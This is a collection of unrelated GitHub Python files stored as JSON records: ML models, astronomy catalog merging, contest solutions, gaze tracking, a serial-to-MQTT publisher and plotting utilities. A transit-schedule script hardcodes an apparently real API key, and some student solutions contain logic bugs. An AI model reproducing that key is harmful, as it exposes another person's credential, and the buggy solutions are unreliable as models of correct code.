absent\n log_likelihood += np.log10(1.0 - likelihoods_class_1[feature_index])\n else:\n raise ValueError(\"Class takes integer values 0 or 1\")\n \n return log_likelihood\n\ndef calculate_class_posteriors(feature_vector):\n log_likelihood_class_0 = calculate_log_likelihoods_with_naive_bayes(feature_vector, Class=0)\n log_likelihood_class_1 = calculate_log_likelihoods_with_naive_bayes(feature_vector, Class=1)\n \n log_posterior_class_0 = log_likelihood_class_0 + log_prior_class_0\n log_posterior_class_1 = log_likelihood_class_1 + log_prior_class_1\n \n return log_posterior_class_0, log_posterior_class_1\n\ndef classify_day(document_vector):\n feature_vector = [int(element>0.0) for element in document_vector]\n log_posterior_class_0, log_posterior_class_1 = calculate_class_posteriors(feature_vector)\n if log_posterior_class_0 > log_posterior_class_1:\n return 0\n else:\n return 1\n \n#Predict ozone day or not on the test set\npredictions = []\nfor day in X_test:\n predictions.append(classify_day(day))\n \ndef evaluate_performance(predictions, ground_truth_labels):\n correct_count = 0.0\n for item_index in xrange(len(predictions)):\n if predictions[item_index] == ground_truth_labels[item_index]:\n correct_count += 1.0\n accuracy = correct_count/len(predictions)\n return accuracy\n\naccuracy_of_naive_bayes = evaluate_performance(predictions, y_test)\nprint(accuracy_of_naive_bayes)\n\n#for i in range(100):\n# print(predictions[i], y_test[i])","repo_name":"AnupamDey/DSDA-Sem-Project","sub_path":"naive_bayes_ozone2.py","file_name":"naive_bayes_ozone2.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23981589756","text":"import tensorflow as tf\r\nimport sys\r\nsys.path.append(\"./dcgan/\")\r\nimport tensorlayer as tl\r\nfrom model import *\r\nfrom tensorlayer.layers import *\r\n\r\n\r\ndef vanilla_encoder(inputs, z_dim=100,is_train=True, reuse=False):\r\n '''\r\n Build a vanilla encoder with convolutional layers, lrelu, batch norm\r\n :param inputs:\r\n :param z_dim:\r\n :param is_train:\r\n :param reuse:\r\n :return:\r\n '''\r\n df_dim = 64 # Dimension of discrim filters in first conv layer. [64]\r\n w_init = tf.random_normal_initializer(stddev=0.02)\r\n gamma_init = tf.random_normal_initializer(1., 0.02)\r\n with tf.variable_scope(\"encoder\", reuse=reuse):\r\n tl.layers.set_name_reuse(reuse)\r\n\r\n net_in = InputLayer(inputs, name='d/in')\r\n net_h0 = Conv2d(net_in, df_dim, (5, 5), (2, 2), act=lambda x: tl.act.lrelu(x, 0.2),\r\n padding='SAME', W_init=w_init, name='enc/h0/conv2d')\r\n\r\n net_h1 = Conv2d(net_h0, df_dim * 2, (5, 5), (2, 2), act=None,\r\n padding='SAME', W_init=w_init, name='enc/h1/conv2d')\r\n net_h1 = BatchNormLayer(net_h1, act=lambda x: tl.act.lrelu(x, 0.2),\r\n is_train=is_train, gamma_init=gamma_init, name='enc/h1/batch_norm')\r\n\r\n net_h2 = Conv2d(net_h1, df_dim * 4, (5, 5), (2, 2), act=None,\r\n padding='SAME', W_init=w_init, name='enc/h2/conv2d')\r\n net_h2 = BatchNormLayer(net_h2, act=lambda x: tl.act.lrelu(x, 0.2),\r\n is_train=is_train, gamma_init=gamma_init, name='enc/h2/batch_norm')\r\n\r\n net_h3 = Conv2d(net_h2, df_dim * 8, (5, 5), (2, 2), act=None,\r\n padding='SAME', W_init=w_init, name='enc/h3/conv2d')\r\n net_h3 = BatchNormLayer(net_h3, act=lambda x: tl.act.lrelu(x, 0.2),\r\n is_train=is_train, gamma_init=gamma_init, name='enc/h3/batch_norm')\r\n\r\n net_h4 = FlattenLayer(net_h3, name='enc/h4/flatten')\r\n net_h4 = DenseLayer(net_h4, n_units=z_dim, act=tf.identity,\r\n W_init=w_init, name='enc/h4/lin_sigmoid')\r\n logits = net_h4.outputs\r\n net_h4.outputs = tf.nn.sigmoid(net_h4.outputs)\r\n return net_h4, logits\r\n\r\ndef dcgan_decoder(inputs, image_size = 64, c_dim=3, batch_size=64, is_train=False, reuse=False):\r\n s2, s4, s8, s16 = int(image_size/2), int(image_size/4), int(image_size/8), int(image_size/16)\r\n gf_dim = 64 # Dimension of gen filters in first conv layer. [64]\r\n w_init = tf.random_normal_initializer(stddev=0.02)\r\n gamma_init = tf.random_normal_initializer(1., 0.02)\r\n with tf.variable_scope(\"generator\", reuse=reuse):\r\n tl.layers.set_name_reuse(reuse)\r\n\r\n net_in = InputLayer(inputs, name='g/in')\r\n net_h0 = DenseLayer(net_in, n_units=gf_dim*8*s16*s16, W_init=w_init,\r\n act = tf.identity, name='g/h0/lin')\r\n net_h0 = ReshapeLayer(net_h0, shape=[-1, s16, s16, gf_dim*8], name='g/h0/reshape')\r\n net_h0 = BatchNormLayer(net_h0, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h0/batch_norm')\r\n\r\n net_h1 = DeConv2d(net_h0, gf_dim*4, (5, 5), out_size=(s8, s8), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h1/decon2d')\r\n net_h1 = BatchNormLayer(net_h1, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h1/batch_norm')\r\n\r\n net_h2 = DeConv2d(net_h1, gf_dim*2, (5, 5), out_size=(s4, s4), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h2/decon2d')\r\n net_h2 = BatchNormLayer(net_h2, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h2/batch_norm')\r\n\r\n net_h3 = DeConv2d(net_h2, gf_dim, (5, 5), out_size=(s2, s2), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h3/decon2d')\r\n net_h3 = BatchNormLayer(net_h3, act=tf.nn.relu, is_train=is_train,\r\n gamma_init=gamma_init, name='g/h3/batch_norm')\r\n\r\n net_h4 = DeConv2d(net_h3, c_dim, (5, 5), out_size=(image_size, image_size), strides=(2, 2),\r\n padding='SAME', batch_size=batch_size, act=None, W_init=w_init, name='g/h4/decon2d')\r\n logits = net_h4.outputs\r\n net_h4.outputs = tf.nn.tanh(net_h4.outputs)\r\n return net_h4, logits","repo_name":"cyrilli/Generative-Model-for-Video-Compression","sub_path":"model_compression.py","file_name":"model_compression.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"74417659241","text":"\"\"\"\nGMOS-observation_target_cats.py\nAuthor: Benjamin Floyd\n\nA simple code to collate all the AGN catalogs for clusters being observed by Becky Canning on Gemini GMOS-MOS.\n\"\"\"\n\nfrom astropy.io import ascii\nfrom astropy.table import Table, vstack\nimport astropy.units as u\n\n# Read in all the catalogs.\nspt_0000 = ascii.read('Data/Output/SPT-CLJ0000-5748_AGN.cat')\nspt_0102 = ascii.read('Data/Output/SPT-CLJ0102-4603_AGN.cat')\nspt_0142 = ascii.read('Data/Output/SPT-CLJ0142-5032_AGN.cat')\nspt_0310 = ascii.read('Data/Output/SPT-CLJ0310-4647_AGN.cat')\nspt_0324 = ascii.read('Data/Output/SPT-CLJ0324-6236_AGN.cat')\nspt_0528 = ascii.read('Data/Output/SPT-CLJ0528-5300_AGN.cat')\nspt_2258 = ascii.read('Data/Output/SPT-CLJ2258-4044_AGN.cat')\nspt_2301 = ascii.read('Data/Output/SPT-CLJ2301-4023_AGN.cat')\nspt_2337 = ascii.read('Data/Output/SPT-CLJ2337-5942_AGN.cat')\nspt_2359 = ascii.read('Data/Output/SPT-CLJ2359-5009_AGN.cat')\n\n# Join all the catalogs together\ntarget_cat = vstack([spt_0000, spt_0102, spt_0142, spt_0310, spt_0324, spt_0528, spt_2258, spt_2301, spt_2337, spt_2359])\n\n# Convert the radial distance column to arcmin (currently in arcsec 20170626)\ntarget_cat['rad_dist'] = target_cat['rad_dist'] / 60.\n\n# Add a [3.6] - [4.5] color column\ntarget_cat['I1-I2_COLOR_APER4'] = target_cat['I1_MAG_APER4'] - target_cat['I2_MAG_APER4']\n\n# Rename columns\ntarget_cat.rename_column('ALPHA_J2000', 'RA')\ntarget_cat.rename_column('DELTA_J2000', 'DEC')\ntarget_cat.rename_column('rad_dist', 'RADIAL_DIST_ARCMIN')\n\n# Sort the table\ntarget_cat = target_cat.group_by('SPT_ID')\n\nfor group in target_cat.groups:\n group.sort('I1-I2_COLOR_APER4')\n group.reverse()\n\n# Write the table to disk\nascii.write(target_cat['SPT_ID', 'RA', 'DEC', 'RADIAL_DIST_ARCMIN', 'I1_MAG_APER4', 'I1-I2_COLOR_APER4'],\n 'Data/SPT_AGN_GMOS_target_list.cat')\n","repo_name":"floydie7/SPT_AGN","sub_path":"old_scripts/Auxiliary_Observations/GMOS-observation_target_cats.py","file_name":"GMOS-observation_target_cats.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11020389654","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip() \n\ndef resolve():\n S = input()\n\n a = S.count('a')\n b = S.count('b')\n c = S.count('c')\n\n if a<b:\n if b<c:\n print('c')\n else:\n print('b')\n else:\n if a<c:\n print('c')\n else:\n print('a')\n\nif __name__ == '__main__':\n resolve()\n","repo_name":"kanji-a/competitive_programming","sub_path":"atcoder/past202004/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20974040733","text":"\r\nimport cv2\r\nfrom gaze_tracking import GazeTracking\r\nfrom gaze_tracking.eye import Eye\r\nimport numpy as np\r\n\r\nimport os\r\n\r\ngaze = GazeTracking()\r\n# webcam = cv2.VideoCapture(0)\r\n\r\nfor i in range(380, 759, 1): #tên tấm hình muốn lấy\r\n link = \"E:\\BIO-ID Dataset\\BioID_0760.jpg\";\r\n file_name = \"BioID_0\";\r\n link = link[0:18]\r\n name = file_name + str(i)\r\n link = link+name+\".jpg\"\r\n print(name)\r\n webcam = cv2.imread(link) \r\n gaze.refresh(webcam)\r\n\r\n frame = gaze.annotated_frame() #Vẽ dấu cộng tâm mắt\r\n text = \"\"\r\n\r\n if gaze.is_blinking():\r\n text = \"Blinking\"\r\n elif gaze.is_right():\r\n text = \"Looking right\"\r\n elif gaze.is_left():\r\n text = \"Looking left\"\r\n elif gaze.is_center():\r\n text = \"Looking center\"\r\n\r\n cv2.putText(frame, text, (30, 60), cv2.FONT_HERSHEY_DUPLEX, 1.6, (147, 58, 31), 2)\r\n\r\n left_pupil = gaze.pupil_left_coords()\r\n right_pupil = gaze.pupil_right_coords()\r\n cv2.putText(frame, \"Left pupil: \" + str(left_pupil), (40, 90), cv2.FONT_HERSHEY_DUPLEX, 0.9, (147, 58, 31), 1)\r\n cv2.putText(frame, \"Right pupil: \" + str(right_pupil), (40, 165), cv2.FONT_HERSHEY_DUPLEX, 0.9, (147, 58, 31), 1)\r\n \r\n\r\n trai = str(left_pupil)\r\n phai = str(right_pupil)\r\n trai = trai[1:-1]\r\n phai = phai[1:-1]\r\n title = str(trai.replace(\",\", \" \")+\" \"+phai.replace(\",\", \" \"))\r\n print(title)\r\n\r\n tentxt = 'F:\\hihi\\BioID_0385.txt' # sau khi chạy cái tạo file thì mọi người đưa 1 file bất kì vào đây\r\n tentxt = tentxt[0:8] # chỗ này tui tách ra chỉ còn => \"F:\\hihi\\\" nên có gì mng xem lại chỗ này\r\n tentxt = tentxt+name+\".txt\" # này cộng thêm đuôi txt để có gì mở tệp hoy nhe\r\n\r\n f = open(tentxt,\"w\")\r\n\r\n with open(tentxt,\"a\") as f:\r\n print(type(f))\r\n\r\n f = open(tentxt, 'r+', encoding='UTF-8') \r\n \r\n\r\n path_w = tentxt\r\n \r\n title2 = \"#LX\tLY\tRX\tRY\\n\"\r\n\r\n with open(path_w, mode='w') as f:\r\n f.write(title2)\r\n f.write(title)\r\n with open(path_w) as f:\r\n print(f.read())\r\n\r\n\r\n cv2.imshow(\"Demo\", frame)\r\n \r\n if cv2.waitKey(1) == 27:\r\n break\r\n\r\n# webcam.release()\r\ncv2.destroyAllWindows()\r\n# webcam = cv2.imread(link)\r\n\r\n# link = \"E:\\Thi\\ResFres\\BIO-ID Dataset\\BioID_0000.jpg\";\r\n\r\n","repo_name":"dangnghia2101/EYE_TRACKING_FPOLY","sub_path":"t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23796055073","text":"from decimal import Decimal\n\nimport pytest\nfrom pydantic import ValidationError\n\nfrom bo4e import Messwertstatus, Messwertstatuszusatz, Zeitreihenwertkompakt\n\n\nclass TestZeitreihenwertkompakt:\n def test_serialization(self) -> None:\n zrwk = Zeitreihenwertkompakt(\n wert=Decimal(1.5), status=Messwertstatus.ABGELESEN, statuszusatz=Messwertstatuszusatz.Z78_GERAETEWECHSEL\n )\n\n json_string = zrwk.model_dump_json(by_alias=True)\n\n assert \"1.5\" in json_string\n assert \"ABGELESEN\" in json_string\n assert \"Z78_GERAETEWECHSEL\" in json_string\n deserialized_zrwk: Zeitreihenwertkompakt = Zeitreihenwertkompakt.model_validate_json(json_string)\n\n assert isinstance(deserialized_zrwk.wert, Decimal)\n assert deserialized_zrwk.wert == Decimal(1.5)\n assert isinstance(deserialized_zrwk.status, Messwertstatus)\n assert deserialized_zrwk.status == Messwertstatus.ABGELESEN\n assert isinstance(deserialized_zrwk.statuszusatz, Messwertstatuszusatz)\n assert deserialized_zrwk.statuszusatz == Messwertstatuszusatz.Z78_GERAETEWECHSEL\n assert deserialized_zrwk == zrwk\n\n def test_wrong_datatype(self) -> None:\n with pytest.raises(ValidationError) as excinfo:\n _ = Zeitreihenwertkompakt(wert=\"helloooo\") # type: ignore[arg-type]\n\n assert \"wert\" in str(excinfo.value)\n\n def test_only_required(self) -> None:\n zrwk = Zeitreihenwertkompakt(\n wert=Decimal(1.5),\n )\n\n json_string = zrwk.model_dump_json(by_alias=True)\n\n assert \"1.5\" in json_string\n\n deserialized_zrwk: Zeitreihenwertkompakt = Zeitreihenwertkompakt.model_validate_json(json_string)\n\n assert deserialized_zrwk == zrwk\n","repo_name":"bo4e/BO4E-python","sub_path":"tests/test_zeitreihenwertkompakt.py","file_name":"test_zeitreihenwertkompakt.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"de","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"24410784562","text":"import sys\ninput = sys.stdin.readline\ncnt = 0\n\nn = int(input())\nlst = list(map(int, input().split()))\n\nfor i in lst:\n for j in range(2, i):\n if i % j == 0:\n if j == i:\n cnt += 1\n else:\n break\nprint(cnt)","repo_name":"LEEHM97/TIL","sub_path":"coding-test/백준/백준 단계별/8.기본 수학2/1978.py","file_name":"1978.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5924884664","text":"# 1 ~ 45까지,\nstart, end = tuple(map(int, input().split()))\n\nnum_list = []\ntemp = 0\nstart_idx = 0\nend_idx = 0\nfor i in range(0, 46):\n if temp < start <= temp+i:\n start_idx = i\n if temp < end <= temp+i:\n end_idx = i\n temp += i\n num_list.append(temp)\n\n# print(num_list)\nresult = 0\n# 일단 시작값, 끝값에 해당하는 값의 제곱을 곱해줌\nfor i in range(start_idx, end_idx + 1):\n result += i ** 2\n\n# 1 2 (2 3 3 3 4 4) 4 4 5 5 5 5 5\n# 시작부분에 남는 값, 끝부분에 남는 값을 빼줌\nresult -= (start - num_list[start_idx-1] - 1) * start_idx\nresult -= (num_list[end_idx] - end) * end_idx\n\nprint(result)","repo_name":"Sungayoung/Algorithm","sub_path":"01_Baekjoon/02_silver/5_1292.py","file_name":"5_1292.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40055930236","text":"# !pip install gym[classic_control]\nimport gym\nimport pickle\nimport numpy as np\n\n# Use saved model.\nfile = open('model.obj', 'rb')\nmodel = pickle.load(file)\nfile.close()\nq_table = model[\"q_table\"]\nbins = model[\"bins\"]\n\nenv = gym.make(\"CartPole-v1\", render_mode=\"human\")\nobservation, info = env.reset()\n\n\n# Transfer the continuous observation into the nearest matching discrete bin.\ndef Discrete(state, bins):\n index = []\n for i in range(len(state)):\n index.append(np.digitize(state[i], bins[i]) - 1)\n return tuple(index)\n\n\n# Run an example of using cartpole model for 1000 steps.\ncurrent_state = Discrete(env.reset()[0], bins)\nfor _ in range(1000):\n current_state = Discrete(observation, bins)\n action = np.argmax(q_table[current_state])\n observation, reward, terminated, truncated, info = env.step(action)\n env.render()\n\n if terminated or truncated:\n observation, info = env.reset()\nenv.close()\n","repo_name":"jwilliams219/IronBlimps","sub_path":"Class Assn/Midterm/Q5/Q5c.py","file_name":"Q5c.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34851277882","text":"import numpy as np\nimport math\nimport fractions\nimport sys\nfrom func import back_substitution\nnp.set_printoptions(formatter={'all':lambda x: str(fractions.Fraction(x).limit_denominator())})\n\ndef row_elimination_0(A,i,j):\n\tmultiplier = -(A[i][j])/A[j][j]\n\tA[i][j] = multiplier * A[j][j] + A[i][j] # This should result to 0\n\tfor k in range(j+1,n): # Right parts should be changed too\n\t\tA[i][k] = multiplier * A[j][k] + A[i][k]\n\tprint(\"\\n{} * R{} + R{} -> R{} \\n\".format(multiplier,j+1,i+1,i+1))\n\tprint(A)\n\n\treturn A\n\ndef row_elimination_1(A,i,j):\n\tmultiplier = 1/A[i][j] \n\t# print(multiplier)\n\tA[i][j] = multiplier * A[i][j] # This should result to one\n\t# Right parts should be changed too\n\tfor k in range(j+1,n):\n\t\tA[i][k] = multiplier * A[i][k]\t\n\n\tprint(\"\\n{} * R{} -> R{}\".format(multiplier,i+1,i+1))\n\tprint(A)\n\n\treturn A\n\ndef row_swapping(A,i,j):\n\tj_iter = j\n\twhile(A[i][j] == 0):\n\t\tj_iter += 1\n\t\tif(j_iter < m):\n\t\t\tprint(\"j_iter: \",j_iter)\n\t\t\tprint(\"m:\",m)\n\t\t\tprint(\"Swapping\")\n\t\t\tA[[i,j_iter]] = A[[j_iter,i]]\n\t\t\tprint(A)\n\t\telse:\n\t\t\tprint(\"Column {} has all zeroes. Singular matrix!\".format(j))\n\t\t\tprint(A)\n\t\t\tprint(\"Will end now...\")\n\t\t\tsys.exit(0)\n\n\n\n# A = np.array([[1,1,-1,9],[0,1,3,3],[-1,0,-2,2]],dtype=np.float)\n### 3x3\nA = np.array([[1,1,2,9],[2,4,-3,1],[3,6,-5,0]],dtype=np.float)\nA = np.array([[2,1,-1,8],[-3,0,2,-11],[-2,1,2,-3]],dtype=np.float)\n\n\n### 4x4\nA = np.array([[1,2,-1,1,6],[-1,1,2,-1,3],[2,-1,0,2,14],[1,1,-1,2,8]],dtype=np.float)\nm = A.shape[0]\nn = A.shape[1]\nprint(\"m: \",m)\nprint(\"n: \",n)\n\nprint(\"Original A: \\n\", A)\nfor j in range(0,n-1):\n\tfor i in range(j,m):\n\t\tprint(\"\\n\")\n\t\t# Check if pivot is zero\n\t\tif(j==i):\n\t\t\tif(A[i][j] == 0):\n\t\t\t\trow_swapping(A,i,j)\n\t\t\telif(A[i][j] == 1):\n\t\t\t\tprint(\"Retain\")\n\t\t\telse: \n\t\t\t\tA = row_elimination_1(A,i,j)\n\t\telse:\n\t\t\tif(A[i][j]!=0):\n\t\t\t\tA = row_elimination_0(A,i,j)\nback_substitution(A)\n\n\n\n\t\t\t","repo_name":"shebna12/LinearAlgebra","sub_path":"gaussian_elimination.py","file_name":"gaussian_elimination.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73469970054","text":"import requests\nimport json #Part of requests I guess?\nimport datetime\nfrom colorama import init, Fore, Style\ninit()\n\n\"\"\"\nListing the stops\nAdditional commit\n\"\"\"\n\nAPI_KEY = \"ymFOhCrlE6EHgrazuY8x\"\nlon = -97.08002481349236 # Flying Pizza on Edison\nlat = 49.938127673372634\ndistance = 100\n\nurl_stops = f\"https://api.winnipegtransit.com/v3/stops.json?lon={lon}&lat={lat}&distance={distance}&api-key={API_KEY}\"\n\nresponse = requests.get(url_stops).json()\n\nstopList = response['stops']\n\nprint(f\"Stops available within {distance} from coordinates ({lon}, {lat})\")\n\nfor stop in stopList:\n print(f\" {stop['key']} {stop['name']}\")\n\n\"\"\"\nTaking user input and listing schedule(s)\n\"\"\"\n\nprint(f\"Enter stop number: \")\n\nenteredValue = input()\n\n# Looping through the stop list to find the user submitted stop\n\nurl_schedules = f\"https://api.winnipegtransit.com/v3/stops/{enteredValue}/schedule.json?max-results-per-route=2&api-key={API_KEY}\"\n\nresponse2 = requests.get(url_schedules).json()\n\nscheduleList = response2['stop-schedule']\n\n# Looping through the schedule API json data\nfor routeSchedule in scheduleList['route-schedules']:\n for scheduledStop in routeSchedule['scheduled-stops']:\n times = scheduledStop['times']\n scheduledTime = datetime.datetime.fromisoformat(times['departure']['scheduled'])\n formattedScheduledTime = scheduledTime.strftime(\"%H:%M:%S\")\n estimatedTime = datetime.datetime.fromisoformat(times['departure']['estimated'])\n formattedEstimatedTime = estimatedTime.strftime(\"%H:%M:%S\")\n if scheduledTime < estimatedTime:\n color = Fore.RED\n elif scheduledTime > estimatedTime:\n color = Fore.BLUE\n if scheduledTime == estimatedTime:\n color = Fore.GREEN\n\n print(f\" {color}Scheduled: {formattedScheduledTime}{Style.RESET_ALL} {color}Estimated: {formattedEstimatedTime}{Style.RESET_ALL}\")\n\n'''\nOld and much easier to read version of my loop code, lol\n\nfor routeSchedule in scheduleList['route-schedules']:\n for scheduledStop in routeSchedule['scheduled-stops']:\n times = scheduledStop['times']\n print(f\" Scheduled: {times['departure']['scheduled']} Estimated: {times['departure']['estimated']}\")\n\n'''\n\n'''\nThis block of code was a failed attempt at error handling. The expectation in this assignment is that the user will submit a valid entry, so this can be ignored.\n\ncorrectInput = False\n\nfor stop in stopList:\n if int(stop['key']) != int(enteredValue):\n correctInput = True\n break\n\nif correctInput == False:\n print(f\"No stop within {distance} has that stop number.\")\n exit() # NOT WORKING NICELY :('''","repo_name":"CPereira2School/BasicGitUsage","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70756353413","text":"from struct import pack\nimport serial.tools.list_ports\nimport paho.mqtt.client as mqtt\nfrom random import randrange, uniform\nimport time\n\n#A publisher to publish the temperature inside the home\nmqttBroker = \"mqtt.eclipseprojects.io\"\nclient = mqtt.Client(\"Team_Sammard_Ground_Station\") #Giving the client a name\nclient.connect(mqttBroker)\n\nports = serial.tools.list_ports.comports()\n\nserialInst = serial.Serial()\n\n\nportList = []\ni = 0\nprint(\"Select a port\")\nfor port in ports:\n portList.append(str(port))\n print(\"Option\",i+1,\" : \",str(port))\n i+=1\n\nval = int(input(\"Choose one of the options displayed above : \"))\n\ncom = portList[val-1]\n\nserialInst.baudrate = 9600\nserialInst.port = com[0:4]\nserialInst.open()\n\nwhile True:\n if serialInst.in_waiting:\n packet = serialInst.readline().decode('utf-8')\n print(packet)\n #Publishing packet to topic \n client.publish(\"teams/1007\",packet)\n print(\"Just published \" + packet + \" to Topic teams/1007\")\n time.sleep(1)\n","repo_name":"Jatin7385/Serial_Communication","sub_path":"Serial Communication Using MQTT/Serial_Com/Serial_Com_Publisher.py","file_name":"Serial_Com_Publisher.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26287999222","text":"\"\"\"\nFile: weather_master.py\nName:Zoey\n-----------------------\nThis program should implement a console program\nthat asks weather data from user to compute the\naverage, highest, lowest, cold days among the inputs.\nOutput format should match what is shown in the sample\nrun in the Assignment 2 Handout.\n\n\"\"\"\n\n\n# This constant controls when to stop\nEXIT = -100\n\n\ndef main():\n\t\"\"\"\n\tThis program is for weather data analysis, and It computes\n\tthe highest, lowest, average, cold days among the inputs.\n\t\"\"\"\n\tprint('stancode \"Weather Master 4.0\"!')\n\tn = int(input('Next Temperature: (or '+str(EXIT)+' to quit)? '))\n\tif n == EXIT:\n\t\tprint('No temperatures were entered.')\n\telse:\n\t\tMax = n\n\t\tMin = n\n\t\ttotal = n\n\t\ttotal_days = 1\n\t\tif n < 16:\n\t\t\tcold_days = 1\n\t\telse:\n\t\t\tcold_days = 0\n\t\twhile True:\n\t\t\tn = int(input('Next Temperature: (or '+str(EXIT)+' to quit)? '))\n\t\t\tif n == EXIT:\n\t\t\t\tbreak\n\t\t\t# Find the highest\n\t\t\tif n > Max:\n\t\t\t\tMax = n\n\t\t\t# Find the lowest\n\t\t\tif n < Min:\n\t\t\t\tMin = n\n\t\t\t# sum of input and count total days\n\t\t\ttotal = total + n\n\t\t\ttotal_days += 1\n\t\t\t# count the cold days( < 16)\n\t\t\tif n < 16:\n\t\t\t\tcold_days += 1\n\t\tprint('Highest temperature = '+str(Max))\n\t\tprint('Lowest temperature = '+str(Min))\n\t\tprint('Average = '+str(total/total_days))\n\t\tprint(str(cold_days)+' cold day(s)')\n\n\n###### DO NOT EDIT CODE BELOW THIS LINE ######\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"ZoeyYen/MystanCodeProjects","sub_path":"stanCode_Projects/01_Hailstone_Sequence/weather_master.py","file_name":"weather_master.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43144101345","text":"# 传纸条 https://www.acwing.com/problem/content/277/\n# `方格取数` 方法可过（该题本身写法待定）\n\nT = 55\nw = []\nf = [[[0 for _ in range(T)] for _ in range(T)] for _ in range(2 * T)]\n\nm, n = map(int, input().split())\nfor _ in range(m):\n w.append(list(map(int, input().split())))\n\nfor k in range(2, m + n + 1):\n for i1 in range(1, m + 1):\n for i2 in range(1, m + 1):\n j1, j2 = k - i1, k - i2\n if 1 <= j1 <= n and 1 <= j2 <= n:\n t = w[i1 - 1][j1 - 1]\n if i1 != i2: t += w[i2 - 1][j2 - 1]\n f[k][i1][i2] = max(f[k - 1][i1][i2], f[k - 1][i1 - 1][i2], f[k - 1][i1][i2 - 1],\n f[k - 1][i1 - 1][i2 - 1])\n f[k][i1][i2] += t\n\nprint(f[m + n][m][m])\n","repo_name":"xingwenzan/PythonProgramFiles","sub_path":"算法/Improve/DynamicProgramming/DigitalTriangleModel/PassNote.py","file_name":"PassNote.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"18437753218","text":"import itertools\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.preprocessing import normalize\nfrom pathlib import Path\n\n\ndef plot_confusion_matrix(cm, class_names, norm='', show_plot=False, save_as=None):\n \"\"\"\n Plots a confusion matrix of arbitrary size\n\n Args:\n cm (2D numpy.ndarray [int]): array that represents the confusion matrix to plot (unnormalized)\n class_names (list [str]): list of corresponding class names\n norm: type of normalization to apply {'norm_by_class', 'norm_overall', default: no normalization}\n show_plot: if True, display plot in a window during runtime\n save_as (pathlib.Path or str): full path, including filename and type (e.g. '/cfs/example/confmat.png')\n\n \"\"\"\n assert cm.shape[0] == cm.shape[1] and cm.shape[0] == len(class_names)\n\n plt.rcParams['figure.constrained_layout.use'] = True\n fig = plt.figure(figsize=(len(class_names) + 1, len(class_names) + 1), dpi=150)\n\n if norm == 'norm_by_class':\n cm = np.around(normalize(cm, norm='l1', axis=1), decimals=2)\n elif norm == 'norm_overall':\n cm = np.around(cm / max(cm.sum(), 1e-8), decimals=2)\n\n plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues, vmin=0, vmax=np.sum(cm, 1).max())\n tick_marks = np.arange(len(class_names))\n plt.xticks(tick_marks, class_names, rotation=45)\n plt.yticks(tick_marks, class_names)\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n # Use white text if squares are dark; otherwise black\n threshold = 0.5 * np.sum(cm, 1).max()\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n color = \"white\" if cm[i, j] > threshold else \"black\"\n plt.text(j, i, cm[i, j], horizontalalignment=\"center\", color=color)\n\n if show_plot:\n plt.show()\n\n if save_as is not None:\n Path(save_as).parent.mkdir(parents=True, exist_ok=True)\n plt.savefig(save_as)\n\n return fig\n\n\ndef plot_sample_eval(images: list,\n sub_titles=None,\n main_title=None,\n vmin=None, vmax=None,\n label_str=None, pred_str=None,\n additional_info=None,\n show_plot=False, save_as=None):\n \"\"\"\n Plots one or multiple images in a row, including titles and additional information, if given.\n Recommended to use for visualising network input, prediction, label etc. of a data sample or time step\n\n Args:\n images (list[2D numpy.ndarray]): Images to display in the plot, e.g. sensor frames, flowfronts etc.\n sub_titles (list[str]): list of titles that will be displayed above the corresponding image. Length should match\n the number of images\n main_title (str): the main title displayed at the top\n vmin (list[float or int]): set the min value for each subplot manually (useful for time series plots).\n Length should match the number of images\n vmax (list[float or int]): set the max value for each subplot manually (useful for time series plots).\n Length should match the number of images\n label_str: Label as a string (useful if label is a class, not an image)\n pred_str: Prediction as a string (useful if prediction is a class, not an image)\n additional_info (list[str]): List of strings that will be displayed at the bottom of the plot. Each list entry\n is put in a new row.\n 